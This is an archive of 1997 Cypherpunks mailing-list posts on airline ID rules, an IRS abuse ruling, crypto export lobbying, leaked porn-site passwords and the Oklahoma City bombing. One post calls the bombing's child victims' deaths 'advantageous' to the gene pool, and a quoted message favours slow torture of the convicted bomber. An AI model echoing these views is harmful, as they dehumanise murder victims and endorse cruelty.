are to physically stop the government.  Does the phrase, "Bomb throwing
anarchist" give you the feeling of hero, or of villain?  Most people will
answer villain, and killing people is not likely to change their minds.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 21:43:41 +0800
To: cypherpunks@Algebra.COM
Subject: To ID or Not to ID that is the question
Message-ID: <199706051338.IAA01329@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.2.32.19970605042555.00712ad0@mail.atl.bellsouth.net>, on 06/05/97 
   at 04:25 AM, "Robert A. Costner" <pooh@efga.org> said:

>I'm curious where the people here stand on such a policy.  Do you feel
>that  positive ID to fly on a plane should be permissable?  How about a
>law to put a  stop to it?

The answer to bad laws is not more laws.

There are two separate issues here and it is important to separate the
two:

1) Government mandated ID requirements for Airline Travel.

This is truly evil. It violates several protected rights under the
constitution and is just plain un-american. Who I am and where I go and
how I get there is non of their dam business.

2) Individual Airlines requiring ID as part of there security protocols.

This I have no problems with as it is there planes and they may adopt
whatever security policies they wish. If Delta wishes to require full body
cavity searches before boarding their planes more power to them. No one is
forcing you to fly with them.

There are many things that are forbiden for the Federal Governmnet to do
that are acceptable for individual companies. This is a good example of
just that.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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i78iHAvg7sc=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 21:54:20 +0800
To: cypherpunks@Algebra.COM
Subject: My messages & CC: 's
Message-ID: <199706051344.IAA01411@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

For those of you that may be responding to some of my post you should be
aware that the To: & Cc: lines are being modified. This is being done by
my PGP auto-encrypt scripts. A complete distributution list is provided in
the header of the message on the X-Distributution: line.

This is just to make you aware that even though your address is the only
one in the To: or Cc: lines the message may have been distributed to
others including to one of the cypherpunks list.

Please check the X-Distribution: line before assuming that it is a private
correspondence.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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fIebZOt+WcewQggB31jm5L+Vp7BiJfdzUuW90XVzM5yGSFjF91Rg/9KXFpe/a8Xv
nCy/dTYQ0l8=
=j3lG
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 23:55:56 +0800
To: cypherpunks@toad.com
Subject: Re: IRS Hit
In-Reply-To: <1.5.4.32.19970605134956.008db240@pop.pipeline.com>
Message-ID: <v0300783dafbc8e6eea47@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:49 AM -0700 6/5/97, John Young wrote:
>5 June 1997, NYP:
>
>A federal judge in Denver has awarded $250,000 in punitive
>damages to a woman whose family business was raided by armed
>Internal Revenue Service agents four weeks after the woman
>insulted an IRS agent.
>
>...
>
>Full story at:
>
>   http://jya.com/irshit.htm

A drop in the bucket for the IRS.  Now if the agent personally had to pay,
there might be some deterent value.  (I note that a 1983 case still has not
been payed.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 22:54:19 +0800
To: cypherpunks@toad.com
Subject: Re: IRS Hit
Message-ID: <199706051429.JAA02097@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970605134956.008db240@pop.pipeline.com>, on 06/05/97 
   at 08:49 AM, John Young <jya@pipeline.com> said:

>In a harshly worded 17-page opinion, Judge William Downes of  the U.S.
>District Court in Denver found that one of the IRS  agents, James Dolan,
>was "grossly negligent" and acted with  "reckless disregard" for the law,
>and that he made three false  statements in a sworn declaration.

So why is James Dolan still working for the IRS?

Why is he not under enditement for perjury?

Oh I forgot Federal Agents are "just a group of humans" so I guess we
shouldn't expect the laws of the land to apply to them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 18:52:07 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <19970604173133.51738@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970605093037.1274B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > Some on this list will even 
> > say that the kids' deaths fortunately 
> > reduced the negative impact their parents can have on the gene pool.
> 
> Yes, some pathetic strange little boys swaggering around in never-never 
> land.  Lonely individuals with shriveled hearts, stunted morals, and 
> feverish imaginations, who brag contemptuously of their superiority
> over "sheeple", and boast of their heroic roles in the coming 
> revolution.

Very poetic, forgive me if I fail to see the point.

> And thank you, Lucky, for enlightening me -- it isn't the OKC bomber
> who is the criminal, it's the people who put their children in the
> daycare center!  There's only one punishment suitable for such 
> "criminally stupid" behavior!  Lock and Load!

Now this to me is an ideal example of the sort of twisting of other 
peoples points that is typical of Kents dialogue.

Lucky actually said that the parents were stupid putting their children 
in that daycare centre. They were, the parents have no-one to blame but 
themselves for the fact that their children were unnecessarily placed at 
risk. however, this neither makes the parents guilty of any crime nor 
does it absolve McVeigh, or whoever did it, from blame.

Lucky was right, the removal of those children from the gene pool was 
probably advantageous, that does not make it right, simply a judgement 
after the fact.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Donald E. Eastlake 3rd" <dee@cybercash.com>
Date: Thu, 5 Jun 1997 22:25:22 +0800
To: cypherpunks@toad.com
Subject: Re: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <v03020925afbbe739dc7f@[139.167.130.246]>
Message-ID: <Pine.SUN.3.91.970605093823.6541K-100000@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



Although you can never completely eliminate it, technological fixes to do 
velocity checking, source IP address profiling, etc., seem so obvious I 
just don't see how this can be any sort of insurmountable problem...

It should have been obvious from the start that you would have a lot more 
people trying to steal service from a porn site than from, say, a Disney 
site.

Donald

On Wed, 4 Jun 1997, Robert Hettinga wrote: 

> Date: Wed, 4 Jun 1997 23:47:10 -0400
> From: Robert Hettinga <rah@shipwright.com>
> To: dcsb@ai.mit.edu
> Subject: Password pirates plunder XXX sites, from The Netly News
> 
> --- begin forwarded text
> 
> Date: Wed, 4 Jun 1997 12:01:22 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: cypherpunks@toad.com
> Subject: Password pirates plunder XXX sites, from The Netly News
> MIME-Version: 1.0
> Sender: owner-cypherpunks@cyberpass.net
> Precedence: bulk
> Reply-To: Declan McCullagh <declan@well.com>
> X-Loop: cypherpunks@cyberpass.net
> 
> [We include links to sites with porn passwords in today's story, BTW.
> --Declan]
> 
> *******
> 
> http://cgi.pathfinder.com/netly/opinion/0,1042,1015,00.html
> 
> The Netly News Network (http://netlynews.com/)
> June 4, 1997
> 
> Porn Free
> by Chris Stamper and Greg Lindsay (thenetlynews@pathfinder.com)
> 
>         Sexfilms.com used to be a small, members-only adult site
>    that shipped full-frame videos over a super-fast T-3 line. Traffic on
>    the site was comfortably low for about a year, owner Ray Alba says,
>    until one name -- "Joe Camaro" -- started appearing with some
>    frequency. Actually, it started appearing 500 times a minute. From
>    Sweden, Japan, Hong Kong, Singapore -- just about anywhere. Somebody
>    was passing out the password.
> 
>         Download speeds faltered, from 300K/sec to 6K/sec. And then the
>    servers themselves began to crash. Finally, Alba had to shut down the
>    site for several weeks to clear out Camaro and numerous other accounts
>    that had leaked out to the Net. Alba was the latest victim of... Porn
>    Piratz!
> 
>         A huge number of passwords to pay-only porn sites are loose on
>    the Net. Just surf newsgroups like alt.sex.passwords or do a simple
>    search through a typical web engine and long lists of logins are easy
>    to find. Some of these logins are giveaways from people who ponied up
>    the low, one-time-only flat fees that many sites charge. Others,
>    apparently, were obtained with phony credit card numbers. Who knows
>    how Porn Piratz get the rest. But they do: A Hustler executive told us
>    that Hustler's sites have seven times its paid membership logging on
>    every day.
> 
> [...]
> 
> --- end forwarded text
> 
> 
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/
> 
> 
> 
> For help on using this list (especially unsubscribing), send a message to
> "dcsb-request@ai.mit.edu" with one line of text: "help".
> 

=====================================================================
Donald E. Eastlake 3rd     +1 508-287-4877(tel)     dee@cybercash.com
   318 Acton Street        +1 508-371-7148(fax)     dee@world.std.com
Carlisle, MA 01741 USA     +1 703-620-4200(main office, Reston, VA)
http://www.cybercash.com           http://www.eff.org/blueribbon.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 5 Jun 1997 22:26:18 +0800
To: cypherpunks@toad.com
Subject: IRS Hit
Message-ID: <1.5.4.32.19970605134956.008db240@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



5 June 1997, NYP:

A federal judge in Denver has awarded $250,000 in punitive 
damages to a woman whose family business was raided by armed 
Internal Revenue Service agents four weeks after the woman 
insulted an IRS agent.

The revenue agents padlocked all three Kids Avenue clothing   
stores in Colorado Springs, and posted notices that some 
customers interpreted as evidence that the woman, Carole Ward, 
49, was a drug smuggler.

In a harshly worded 17-page opinion, Judge William Downes of 
the U.S. District Court in Denver found that one of the IRS 
agents, James Dolan, was "grossly negligent" and acted with 
"reckless disregard" for the law, and that he made three false 
statements in a sworn declaration.

The judge, who said the actions by the IRS agents violated 
Ms. Ward's privacy rights, wrote that the punitive damages 
award "gives notice to the IRS that reprehensible abuse of 
authority by one of its employees cannot and will not be 
tolerated."

-----

Full story at:

   http://jya.com/irshit.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 6 Jun 1997 01:21:40 +0800
To: cypherpunks@Algebra.COM
Subject: "Clinton has done a great deal for Intel"--more trolling
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <v03102802afbca1f22330@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:03 AM -0700 6/5/97, Kent Crispin wrote:

>Clinton has a *very* successful career as a politician, and has done
>a great deal for Intel, in that role.  And he is a great family man
  ^^^^^^^^^^^^^^^^^^^
>who also gets along well with a host of people.

Another absurdity. Clinton is the President. There is _nothing_ of any
significance Intel has ever sought from the government. Except for the
government to get off its back.

When I was there the government was in fact very frustrated with Intel for
not entering the "mil-spec" market in any serious way. The government
wanted to buy 8080s, 8086s, etc., and we said, "Fine, send us an order.
We'll even charge you $500 more per chip if you want us to shake them
around at a lot of Gs, cook 'em in a pressure pot, and then stamp them
"MIL-SPEC."

We refused government contracts. I did some volunteer work (a few days) for
them on directed energy weapons, some work for DARPA and the Naval Research
Lab, but there was no charge for this, and certainly no "help" for Intel
from the then-President.

Intel also was a reluctant participant in the g-job labs, including the MCC
in Austin (never a real member), and only in the last few years has it
bowed to the inevitable by undertaking some joint efforts with the labs it
has so heavily been taxed for.

To call this "help from Clinton" is absurd.

(By the way, Andy Grove and Gordon Moore were supporters of Bush in '92 and
of Dole in '96. They actively opposed the "Clinton-friendly lobby" in the
Valley, the John Sculleys and whatnot who hobnobbed with Clinton. Clinton
I'm sure does not see Intel as his ally in any way.)

More trolling from Crispin. Why am I not surprised?

---Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 6 Jun 1997 03:16:06 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: McVeigh is not the issue!
In-Reply-To: <v03102809afbc01d62f74@[10.0.2.15]>
Message-ID: <v03102800afbca3a014c9@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>I believe this is a bad policy, and think it should be opposed.  Perhaps a
>law
>should be considered to change this.  But obviously many people here would
>tell me I could just take another mode of transportation, such as riding the
>bus.  Airlines are private corporations owned by their owners, not by their
>riders.  The airlines apparently have a right (as Delta is doing) of
>demanding
>any prerequisite they wish for travel.  In the case of Delta, the
>prerequisite
>is "May I see your papers, please?"
[snip]
>I'm curious where the people here stand on such a policy.  Do you feel that
>positive ID to fly on a plane should be permissable?  How about a law to
>put a
>stop to it?

It is illegal to present forged government identification for matters
involving goverment business or commercial business regulated by federal
laws requiring such ID (e.g., purchase of cigarettes), but should it be
illegal to present forged government IDs in other circumstances when no
government regulation requires their presentation (the points regarding
contractual agreement not withstanding)?  I agree that airlines should be
able to condition travel based on requisite identification, but I believe I
should be able to present forged identifiction with no possibility of
criminal presecution.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 6 Jun 1997 01:41:26 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <wTXs8D4w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970605101214.2888A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 4 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> Rant: I think Joseph Stalin was a cool guy, even though he had my great-grandpa
> shot (who was btw a U.S. citizen).
> 
> One of the many interesting contributions Joe Stalin made to the Marxist
> theory was the observation that the class struggle intensifies as the
> old mode of production becomes obsolete; and that there's really no difference
> between "terrorist acts" and government-sponsored violence and economic
> deprivation.  You might view the second statement as the generalization of
> Klauzewitz's (or Bismarck's?) maxim that war is the continuation of foreign
> policy by other means.

Well couldn't class struggle simply mean the difference between wielding
large quantities of power and not.  If thats the case then Stalin was
the ultimate hypocrite when his wonderful revolution attained of
temporary system of government.  That system of government was unstable
in that in failed to allow people to provide for their own and each
other's welfare through free market activity.

As resistance to centralized modes of production increased (especially
with the farmers), the central government systematically starved 20
million people to death.

Reminds me a lot of Orwell's "Animal Farm".

Though I do agree in principle with the idea that corruption runs rampant
at the end of a megapolitical era (for more or less the same reasons),
Stalin was not the first to have this idea.   For a run-down on this
concept check out the much-maligned "Sovereign Individual".


> Consider, for example, a Black child in the United States who dies of
> a trivial curable disease because of the lack of health care. Consider
> the child's parents who labor "off the books" in menial jobs, who are
> deprived by the state from the ability to marry, to work "on the books",
> to hold a bank account, et al. Is being deprived from the results of one's
> labor that different from being sold at an auctioned and whipped in
> a public ceremony to terrify other (wage) slaves?
> 

No.  I agree with you here.  I think the difference is in the resolve
of the individuals under this kind of pressure.

> Joe Stalin himself took part in several spectacular terrorist acts in
> his youth, which resulted in deaths of dozens of "innocent bystanders".

make that millions

> Prepare for crypto to be criminalzed.

definitely.  but under what system of law?  for all practical purposes the
constitution is null and void.  the people that run this country do so
under the guise of constitutionalism, but its all a grand facade.  the 
whole idea of the current government is a type of consensual reality.
(literally so, perhaps?)  When enough people agree that the version of
reality no longer serves them, they will agree that it doesn't exist.

This, of course, assumes they have the power to alter it.

> Prepare for the former cpunks who
> "sold out" (C2Net and the like) to support criminalization of crypto use
> within the U.S. in exchange for a possible relexation of export rules.

I'm not sure I understand why you assert that C2Net "sold out".  I was
probably out of town at the time this discussion went down.


Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 5 Jun 1997 23:25:55 +0800
To: cypherpunks@einstein.ssz.com
Subject: Interesting article.
Message-ID: <199706051449.JAA05813@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



Full story at http://www.news.com/News/Item/0,4,11249,00.html?latest

Leaders want crypto rules lifted.
                
By Reuters
June 5, 1997, 7 a.m. PT 

WASHINGTON--Computer industry captains called
on President Clinton yesterday to drop efforts to
regulate data-encryption technologies, a move the FBI
warned would cripple law enforcement and leave the
country more vulnerable to terrorism. 

In an open letter to Clinton, Bill Gates, chairman and
chief executive officer of Microsoft, and 12 other
industry titans said U.S. competitiveness in
electronic commerce was at stake in the debate. 
----------------
Peter Trei
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 19:18:23 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: McVeigh is not the issue!
In-Reply-To: <3.0.2.32.19970605042555.00712ad0@mail.atl.bellsouth.net>
Message-ID: <Pine.LNX.3.91.970605114105.1410A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> I believe this is a bad policy, and think it should be opposed.  Perhaps 
> a law should be considered to change this.  But obviously many people 
> here would tell me I could just take another mode of transportation, 
> such as riding the bus.  Airlines are private corporations owned by their 
> owners, not by their riders.  The airlines apparently have a right 
> (as Delta is doing) of demanding any prerequisite they wish for travel.  
> In the case of Delta, the prerequisite is "May I see your papers, please?"

A brief reading of the above rant should illustrate to anyone who was not 
convinced previously that Robert has gone over the edge.

Who are you to decide what the privately owned airline asks for a 
prerequisite of allowing you to travel on their planes?
They are free to enforce whatever terms they wish in a private contract 
between themselves and the passenger. If more people refused to travel on 
airlines because of their requirements they would stop asking for ID. If 
the giving of real, genuine ID were not mandated by law you could just 
give a false ID card (providing the contract had to clause against this).

Where did you obtain such a strange view of the world as to believe a 
private corporate entity cannot enforce whatever contract it wants?

> I believe in anonymous travel, just as I believe in anonymous speech, and 
> anonymous transactions.  I recently subscribed to this list to help mature my 
> views on issues such as collection and verification of electronic database 
> information by private and gov't entities.
> 
> I'm curious where the people here stand on such a policy.  Do you feel that 
> positive ID to fly on a plane should be permissable?  How about a law to 
> put a stop to it?

The fact is the government has no right to demand that true genuine ID be 
given under any circumstances. The corporation can in a private contract 
demand that the ID it is given is genuine, breach of this contract will 
carry whatever penalties are negotiated and included in the contract.

An anarchist society may not necessarily be more private than a police 
state, one merely has the right to choose in the former. If the contract 
between myself and an airline demands that I release information I am not 
happy releasing, I can walk away. If I have no other means of transport 
then I have only two choices: Travel or don`t. 
Your views appear to me to be more socialist than anarcho-capitalist or 
even minarchist. 
I would personally much rather see a world where my private information 
is free for everyone to see, than one where corporations and private 
individuals are not free to make whatever contracts they want, of course, 
the two are not mutually exclusive.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 6 Jun 1997 03:32:23 +0800
To: cypherpunks@toad.com
Subject: Mr. Gates goes to Washington, from The Netly News
Message-ID: <Pine.GSO.3.95.970605121403.1309F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 5 Jun 1997 12:13:40 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Mr. Gates goes to Washington, from The Netly News


**********

http://cgi.pathfinder.com/netly/opinion/0,1042,1022,00.html

The Netly News Network
June 5, 1997

Mr. Gates Goes to Washington
by Declan McCullagh (declan@well.com)

        For Siliconaires like Bill Gates of Microsoft, Eric Schmidt of
   Novell and Jeff Papows of Lotus, Washington is a city made pleasant by
   absence. They view its labyrinthine bureaucracies and hidebound
   institutions as something between a minor hindrance and an
   insurmountable obstacle to the important business of making
   profits, not public policy. So it was no surprise to see the high-tech
   trio join seven other executives yesterday at the National Press Club
   to rail against the Clinton administration's restrictions on overseas
   sales of encryption products.
   
        This Billionaire Boys' Club was especially keen on praising two
   bills that would generally relax export rules. "We clearly support the
   House and the Senate bills that are on the Hill in their original
   form. Getting reform done now is a huge priority for all of us," said
   one. "There are bills in the House and the Senate that are totally
   acceptable, and if those bills are passed they'd solve the problem,"
   another added.
   
        But perhaps Bill Gates should have spent less time writing BASIC
   interpreters and more time in civics classes, because these bills are
   far from perfect. In fact, they may be downright dangerous.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 6 Jun 1997 00:31:23 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: McVeigh
In-Reply-To: <Pine.LNX.3.91.970604234636.624F-100000@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.96.970605115923.891A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Paul Bradley wrote:

> Yes, he is guilty of murder and I would favour torturing him to death 
> slowly, this is not emotional reactionism, merely a desire for justice 
> and fair punishment.

You do not know for a fact if he is guilty of murder.  You only know that
he was judged guilty.  Whatever the truth is, you and I, and everyone else
discussing this, cannot know.  McVeigh himself knows if he did it.
Witnesses (if any) would also know.  This is all speculation.

If indeed he is guilty, it's a fair trade.  X number of lives for his own,
for his cause, etc.  IMHO justice is what you make of it.  Were you in any
way affected by his actions?  Did you lose relatives in that bombing?

Personally, I didn't.  I don't call for slow torture because to me, it
isn't justice or injustice.  I was not affected by his actions.  If he did
set off the bomb, life in death, or execution is a valid punishment.  I do
question your reasoning for calling for torture though.  How is that fair
punishment and justice?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 6 Jun 1997 01:18:48 +0800
To: cypherpunks@toad.com
Subject: Body Bunker Usage
Message-ID: <1.5.4.32.19970605170229.008ee9c8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer excerpts from the Federal Law Enforcement 
Training Center "Catalog of Training Programs FY 1997-98":

Financial Fraud Institute

The FFI takes the proactive role of arming the student with 
specialty skills and techniques to develop solid prosecutable 
cases in a range of crimes. Included are crimes involving 
government contracts, procurement fraud, illegal tax shelters, 
complex financial transactions supporting terrorism and criminal
conspiracies, asset removal/seizures, money laundering activities 
involving drug smuggling organizations and other illegal 
enterprises, insurance frauds, electronic funds transfer fraud, 
and employee embezzlement. Also addressed in training are 
technical crimes involving computers and networks such as
unauthorized access to government data systems and complex 
fraud cases using or involving computer systems.

Training programs:

   Computer Evidence Analysis
   Criminal Investigations in an Automated Environment
   Financial Crimes Investigations
   Financial Forensics Techniques
   International Banking and Money Laundering
   International Financial Fraud
   Microcomputers for Investigators
   Money Laundering and Asset Forfeiture
   Seized Computer and Evidence Recovery Specialist
   Telecommunications Fraud
   White Collar Crime
   Windows Applications for Investigations


   http://jya.com/ffi.htm  (34K)

-----

Security Specialties Division

The design, development, and conduct of courses relating to 
antiterrorism, physical security, and officer safety and 
survival is the prime mission of the Security Specialties 
Division (SSD). Courses include; Bombs and Explosives, 
Personal Protection, First Response, Handling Sensitive/
Classified Information, Criminal Information/Intelligence, 
Officer Safety and Survival, Physical Security, Surviving 
Hostage Situations, and Weapons/Explosive Detection.      

Training programs:

   Advanced Physical Security
   Antiterrorism Contingency Planning
   Antiterrorism Management
   Criminal Intelligence Analyst
   Crisis Management
   First Response
   Officer Safety and Survival
   Physical Security Managers
   Protective Security Operations
   Seaport Security/Antiterrorism


   http://jya.com/ssd.htm  (22K)

-----

The former addresses, among others, "encryption/decryption,
disguised data, data hidden by programming techniques,
hackers and phreakers."

The latter addresses, among others, "left-wing terrorism, 
right-wing terrorism, animal rights and environmental 
extremists, assassinations and body bunker usage."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 6 Jun 1997 01:20:18 +0800
To: "Donald E. Eastlake 3rd" <cypherpunks@toad.com>
Subject: Re: Password pirates plunder XXX sites, from The Netly News
Message-ID: <199706051708.NAA09369@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3963.1071713705.multipart/signed"

--Boundary..3963.1071713705.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


 >Although you can never completely eliminate it, technological fixes
to do
>velocity checking, source IP address profiling, etc., seem so obvious
I
>just don't see how this can be any sort of insurmountable problem...

Agreed but see bellow

>It should have been obvious from the start that you would have a lot
more
>people trying to steal service from a porn site than from, say, a
Disney
>site.

I think the problem is that a large number of the people who run porn
sites are neither technically sophisticated nor well funded. I suspect
that many do not know how to write a program and can't afford hiring
someone to do it for them.

Its a business where there are low barriers to entry and there are a 
very large number of competitors. One way of discouraging new entrants
is to claim that there are major technical problems...


Phill



--Boundary..3963.1071713705.multipart/signed
Content-Type: application/octet-stream; name="bin00000.bin"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00000.bin"
Content-Description: "smime.p7s"

MIIBCwYJKoZIhvcNAQcCoIH9MIH6AgEBMQswCQYFKw4DAhoFADALBgkqhkiG
9w0BBwExgdowgdcCAQEwdjBiMREwDwYDVQQHEwhJbnRlcm5ldDEXMBUGA1UE
ChMOVmVyaVNpZ24sIEluYy4xNDAyBgNVBAsTK1ZlcmlTaWduIENsYXNzIDEg
Q0EgLSBJbmRpdmlkdWFsIFN1YnNjcmliZXICEGFDFWiEgdTVot4rXibJq8Uw
CQYFKw4DAhoFADANBgkqhkiG9w0BAQEFAARANI2R6m39UcBCyAMjWOSG1LEg
jCFGWqN5KX4n3I6RFQTA3iyfHHh6iA7vAkxHqihvP38XG71LiJEf/hmaGTny
Hg==
--Boundary..3963.1071713705.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 6 Jun 1997 04:59:38 +0800
To: frissell@panix.com
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706041452.JAA01618@einstein.ssz.com>
Message-ID: <3.0.1.32.19970605132805.0076a9c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:39 PM 6/4/97 -0400, frissell@panix.com wrote:
>>'Publically funded network backbones'? Can you name one (in the US)? 

>The Net is technically and legally a private value-added network.  
>The last bit of the then existing backbone was privatized the weekend 
>following the OKC bombing in April 1995.  (No relation)

Unfortunately, this is not entirely true.  Within US-occupied North 
America (:-), a number of the NAPs are still government funded, 
though many of the big carriers also have direct interconnections rather 
than only peering through the NAPs.   One of the early NAPs, 
the Commercial Internet eXchange (CIX), was created specifically
to avoid the content censorship required for use of the government parts
(the old Acceptable Use Policy, which banned commercial discussion.)
In other countries, your kilometerage will vary substantially.

